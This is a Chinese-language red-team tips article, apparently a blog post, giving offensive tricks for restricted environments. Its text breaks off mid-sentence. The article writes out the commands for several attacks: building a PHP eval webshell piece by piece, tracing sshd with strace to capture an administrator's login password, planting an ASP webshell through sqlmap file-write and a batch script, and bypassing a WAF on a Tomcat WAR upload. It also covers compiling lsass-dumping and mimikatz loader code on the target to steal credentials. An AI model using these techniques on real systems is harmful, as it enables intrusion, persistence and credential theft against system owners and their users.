红队视角下的奇技淫巧
高限制下的木马写入
高限制场景包括:服务器不出网(不能进行远程下载)、写木马有限制、命令长度有限制等
这时候采取的策略是,将木马分割成一段一段,逐段写入,最后合并文件为完整的木马文件,这同样适用于Webshell的写入。这里举一个分段写入Webshell的例子:
echo -e -n \"<?php \" > /fwlib/sys/virus/webui/svpn_html/1.txt
echo -e -n \"eval\" > /fwlib/sys/virus/webui/svpn_html/2.txt
echo -e -n '($_POST[\"poo' > /fwlib/sys/virus/webui/svpn_html/3.txt
echo -e -n '\"])' > /fwlib/sys/virus/webui/svpn_html/4.txt
echo -e -n \" ?>\" > /fwlib/sys/virus/webui/svpn_html/5.txt
cat /fwlib/sys/virus/webui/svpn_html/1.txt /fwlib/sys/virus/webui/svpn_html/2.txt /fwlib/sys/virus/webui/svpn_html/3.txt /fwlib/sys/virus/webui/svpn_html/4.txt /fwlib/sys/virus/webui/svpn_html/5.txt> /fwlib/sys/virus/webui/svpn_html/xxx.php
这里再推荐一个由这种思路产生的工具Split_tools
窃取Linux登录的账号密码
假设一个攻击场景:你的入口机器是一台Linux,并且发现所处C段大部分为Linux,此时也提权至root权限了,但因为是暴力提权上来的,你并不知道root的密码,尝试用MimiPenguin抓取密码无果,你需要获得root的密码,这有利于后续的横向(比如对同C段的其他IP机器进行撞库)。通过长期的蹲点,你发现业务管理员每周五下午会定时登录一次,有时早,有时晚(可能是人工巡检,也可能是脚本登录,但这都不重要),这时候可以使用strace命令监听管理员的密码
(strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 32 2> /tmp/sshd.log &)
一段时间后,对监听的日志进行过滤查看
grep -E 'read\(6, ".+\\0\\0\\0\\.+"' /tmp/sshd.log
很幸运,你在这周五管理员上线的时候,捕获到了密码
不出网的sql注入+中文web目录写webshell
假设场景:使用sqlmap扫描到当前站点存在sql注入,配合sqlmap的–os-shell参数获得了一个shell可以执行命令,但是你发现TCP/UDP均不出网,由于sqlmap提供的shell不够方便,你决定写一个webshell便于配合哥斯拉、蚁剑进行后续渗透(同时也为了更方便连接),你定位到了web目录,但是web目录是中文目录(比如:D:\网站),你尝试写入,但是写入失败了。这时候可以先在本地写好一个bat脚本(内容是在web目录某位置写入webshell),再通过sqlmap上传写好的bat脚本,最后执行这个bat脚本把webshell写入web目录,具体如下
# 现在本地的shell.bat中写好写入webshell的代码,内容如下
echo ^<%%eval request("pass")%%^> >D:\网站\shell.asp
# 通过sqlmap上传本地的shell.bat
python3 sqlmap.py -r request_message.txt --batch --file-write shell.bat -file-dest c:\users\public\shell.bat
#最后配合sqlmap的--os-shell参数获得的shell执行shell.bat,写入webshell
在站点上访问一下webshell地址,确认webshell是否访问成功
Tomcat上传war包绕过WAF
攻击场景:成功登录了Tomcat 后台,你迅速地制作了一个包含webshell的WAR包进行部署,很遗憾,被WAF拦截了。这时候可以尝试利用\\\
拆分war后缀,绕过waf(即将文件后缀修改为xxx.w\\ar)
限制上传文件大小如何转储lsass.dmp
假设场景:你拿下目标机器后,想要转储lsass读取凭据以便做后续渗透,上传转储工具时发现目标机器对上传文件的大小做了限制,导致无法上传。这时候可以上传由C#编写的转储工具的源码文件,借助目标机器上默认安装的.Net环境,使用csc.exe进行编译。
可以使用这个转储工具:https://github.com/3gstudent/Homework-of-C-Sharp/blob/master/DumpLsass.cs
支持.Net 3.5以及更高版本
# 编译
C:\Windows\Microsoft.NET\Framework64\v3.5\csc.exe DumpLsass.cs /unsafe
或者
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe DumpLsass.cs /unsafe
限制下载文件大小如何读取lsass.dmp
假设场景:你拿下目标机器后,想要转储lsass读取凭据以便做后续渗透,成功转储lsass.dmp文件后,决定将其下载到本地提取凭据(比如用mimikatz),但是目标机器对下载文件大小做了限制,导致无法下载lsass.dmp到本地。这时候可以转变思路,直接上传 免杀mimikatz / C#版mimikatz源码(借助目标机器上默认安装的.Net环境,使用csc.exe进行编译) 到目标机器,直接在目标机器上提取凭据。
C#版mimikatz源码可以使用这个项目:https://github.com/3gstudent/Homework-of-C-Sharp/blob/master/PELoaderofMimikatz.cs
或者使用转储lsass+读取凭据全流程
的工具,比如: